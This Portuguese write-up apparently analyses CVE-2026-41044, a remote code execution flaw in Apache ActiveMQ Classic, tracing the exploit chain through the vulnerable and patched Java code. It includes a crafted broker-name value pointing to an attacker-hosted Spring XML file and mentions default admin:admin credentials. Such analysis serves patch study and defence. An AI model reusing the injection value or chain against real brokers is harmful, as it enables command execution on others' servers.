
# Demonstração educacional e prova de conceito para CVE-2026-41044, uma RCE no Apache ActiveMQ, com análise de causa raiz e script de detecção.
Nota: Apenas para Fins Educacionais
O CVE-2026-41044 foi divulgado em 24 de abril de 2026. É uma vulnerabilidade de execução remota de código no Apache ActiveMQ Classic, encontrada por jsjcw, corrigida nas versões 5.19.6 e 6.2.5. Eu não a encontrei.
O que quero mostrar é como alguém que nunca tocou no ActiveMQ antes pode produzir um exploit funcional de um N-day numa tarde, porque o código corrigido é público, o código não corrigido é público, e a diferença entre eles está a um git diff de distância.
O processo é simples:
O que costumava levar dias agora leva uma tarde. A IA não encontra bugs. Ela lê código e explica-o tão rápido quanto consegues fazer perguntas. A parte cara continua a ser tu: decidir o que é realmente explorável, onde estão os verdadeiros limites de confiança, o que precisa de verificação. O modelo apenas percorre grafos de chamadas mais rápido do que qualquer humano consegue.
O ponto mais amplo: se o teu fluxo de trabalho de correção assume uma semana de tempo de análise por CVE, estás no cronograma antigo. O git diff tem o mesmo tamanho quer estejas a escrever deteção ou exploits.
O ActiveMQ é um broker de mensagens. Ele fica no meio e passa mensagens entre aplicações. Pensa nele como uma estação de correios: as apps deixam mensagens, o ActiveMQ entrega-as ao destinatário certo. Está amplamente implementado em stacks Java empresariais e expõe uma consola web e uma API de gestão REST chamada Jolokia em /api/jolokia/. As credenciais padrão em muitas implementações continuam a ser admin:admin.
O ActiveMQ permitia que qualquer utilizador autenticado carregasse uma configuração de broker a partir de um URL HTTP arbitrário, que o Spring analisava e executava imediatamente como objetos Java - incluindo ProcessBuilder - dando ao atacante execução total de comandos do SO no servidor do broker.
localhost./api/jolokia/ que expõe operações de gestão como uma API REST. Qualquer credencial válida da consola web chega até ela - não apenas admin.vm://: o transporte em processo usado quando um cliente vive no mesmo JVM que o broker. Aceita um parâmetro de consulta ?brokerConfig= que aponta para um XML Spring config para inicializar um broker a partir dele.xbean:: um esquema de URL que diz ao ActiveMQ para tratar o URL como uma configuração XML Spring e carregá-la.init-method: o Spring lê XML e cria automaticamente objetos Java (beans). O atributo init-method diz ao Spring para chamar um método no bean no momento em que é criado - antes de qualquer outra coisa ser executada.ProcessBuilder: uma classe Java padrão que executa comandos do SO. ProcessBuilder.start() executa o comando.DestinationView.sendTextMessage() na versão 5.19.2 constrói um URL de ligação ao broker concatenando diretamente o nome do broker numa string:
// 5.19.2 - DestinationView.sendTextMessage()
String brokerUrl = "vm://" + broker.getBrokerName();
ActiveMQConnectionFactory cf = new ActiveMQConnectionFactory(brokerUrl);
Se getBrokerName() devolver localhost?brokerConfig=xbean:http://attacker/poison.xml, essa string inteira torna-se um URI vm:// válido com um parâmetro de consulta embutido. ActiveMQConnectionFactory entrega-o a VMTransportFactory, que extrai o parâmetro brokerConfig e usa-o como URL de configuração de bootstrap do broker.
A correção na 5.19.6 é uma linha:
// 5.19.6 - DestinationView.sendTextMessage()
URI brokerUrl = broker.getVmConnectorURI();
String torna-se URI - a concatenação acidental deixa de ser possível. O valor vem de um objeto URI pré-construído e imutável derivado do conector VM registado real do broker, não de uma string de nome mutável.
Para a Camada 1 ser explorável, o nome do broker tem de ser envenenado primeiro. O BrokerService sempre sanitizou nomes de broker:
// BrokerService.setBrokerName() - presente em AMBAS as versões
private static final String INVALID_BROKER_NAME_CHAR_REG_EXP = "[^a-zA-Z0-9._\\-:]";
brokerName.replaceAll(INVALID_BROKER_NAME_CHAR_REG_EXP, "_");
Essa regex remove ? e = limpo. O CVE existia porque o RegionBroker tinha o seu próprio setter separado que não o fazia:
// 5.19.2 - RegionBroker.java
private String brokerName; // mutável
public void setBrokerName(String brokerName) {
this.brokerName = brokerName; // sem validação nenhuma
}
Isto é um clássico "deputado confuso" - dois setters em classes relacionadas, apenas um deles sanitiza. Um peer remoto a transmitir um pacote BrokerInfo forjado com um campo de nome envenenado chega diretamente a RegionBroker.setBrokerName(), contornando completamente a regex do BrokerService.
A correção na 5.19.6 elimina o setter, torna o campo final e inicializa-o uma única vez a partir do pai já sanitizado:
// 5.19.6 - RegionBroker.java
private final String brokerName; // imutável
public RegionBroker(BrokerService brokerService, ...) {
this.brokerName = Objects.requireNonNull(
brokerService.getBrokerName(), "The broker name cannot be null");
// setBrokerName() desapareceu. Já não existe setter.
}
Não podes contornar um sanitizador que não tem escritor paralelo.
VMTransportFactory.doCompositeConnect() é a função que pega no URI vm://...?brokerConfig=..., extrai o parâmetro brokerConfig e chama BrokerFactory.createBroker(brokerURI). É o mecanismo de acionamento de toda a cadeia.
A Apache não mudou absolutamente nada aqui.
Essa escolha diz-te algo sobre como pensaram a correção. O VMTransportFactory está a fazer trabalho legítimo - os transportes vm:// realmente devem aceitar configs de bootstrap. Corrigi-lo teria partido o design pretendido. Em vez disso, a Apache corrigiu o bug na origem (Camada 2: nenhum nome envenenado pode ser escrito) e no sumidouro (Camada 5: mesmo que um URL envenenado passasse, o resolvedor de recursos não o vai buscar).
Corrige as camadas onde a validação pertence, não a camada por onde o atacante aconteceu passar.
// XBeanBrokerFactory - igual em ambas as versões
protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException {
Resource resource = Utils.resourceFromString(uri); // Camada 5
return new ResourceXmlApplicationContext(resource) { ... };
}
ResourceXmlApplicationContext(resource) é onde o Spring faz a sua parte - o init-method de cada bean é executado na construção do contexto, antes de o BrokerService do ActiveMQ alguma vez validar o resultado. Não há patch para fazer aqui. O contrato do Spring está correto como foi desenhado. O bug era que o ActiveMQ dependia de a validação acontecer antes da instanciação, e o Spring não promete essa ordem.